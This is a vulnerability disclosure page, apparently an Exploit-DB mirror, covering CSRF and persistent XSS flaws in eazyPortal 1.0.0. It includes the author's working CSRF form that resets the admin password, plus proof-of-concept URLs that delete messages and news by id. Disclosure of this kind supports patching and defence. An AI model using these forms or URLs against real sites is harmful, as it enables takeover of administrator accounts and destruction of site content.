Multiple XSRF Vulnerabilities And Persistent XSS

vendor:

eazyPortal

by:

Milos Zivanovic

8,8

CVSS

HIGH

XSRF and XSS

352, 79

CWE

Product Name: eazyPortal

Affected Version From: 1.0.0

Affected Version To: 1.0.0

Patch Exists: NO

Related CWE: N/A

CPE: a:eazyportal:eazyportal:1.0.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: PHP

2010

Multiple XSRF Vulnerabilities And Persistent XSS

eazyPortal version 1.0.0 is vulnerable to multiple XSRF vulnerabilities and persistent XSS. An attacker can exploit this vulnerability by sending a malicious form to the target website to change the admin password, or by sending a malicious link to the target website to inject malicious code into the website. The attacker can also exploit this vulnerability to remove private messages and news by id.

Mitigation:

Implement proper input validation and authentication mechanisms to prevent XSRF and XSS attacks.

Source

Exploit-DB raw data:

[#-----------------------------------------------------------------------------------------------#]
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail.com
[#] Date: 02. January 2010.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: eazyPortal
[#] Version: 1.0.0
[#] Platform: PHP
[#] Homepage: http://www.eazyportal.com/
[#] Vulnerability: Multiple XSRF Vulnerabilities And Persistent XSS
[#-----------------------------------------------------------------------------------------------#]

[#]Content
 |--Change admin password
 |--Add news - Persistent XSS
 |--Remove private message by id
 |--Remove news by id

[*]Change admin password

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://host/" enctype="multipart/form-data" method="post">
  <input type="hidden" name="a" value="profile"/>
  <input type="hidden" name="uname" value="admin"/>
  <input type="hidden" name="uavatar" value=""/>
  <input type="hidden" name="uemail"  value="e@mail.com"/>
  <input type="hidden" name="upwd" value="hacked"/>
  <input type="hidden" name="ucpwd" value="hacked"/>
  <input type="hidden" name="ulocation" value="moon"/>
  <input type="hidden" name="usignature" value="free your mind and the
ass will follow"/>
  <input type="hidden" name="ushowemail" value="0"/>
  <input type="hidden" name="ugmt" value="0"/>
  <input type="hidden" name="ufile"/>
  <input type="image"
src="http://host/tpl/DefaultGreen/img/button_submit.gif"
name="submit"/>
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[+]Add news - Persistent XSS

http://host/index.php?a=administrator&p=news&s=add

There we can add new news that can be seen on main page. It is
vulnerable to persistent xss and
attacker can use this to infect website visitors.

[-]Remove private message by id

[POC----------------------------------------------------------------------------------------------]
http://host/index.php?a=private&inbox=&d=[ID]
[POC----------------------------------------------------------------------------------------------]

[-]Remove news by id

[POC----------------------------------------------------------------------------------------------]
http://host/index.php?a=administrator&p=news&del=[ID]
[POC----------------------------------------------------------------------------------------------]

[#] EOF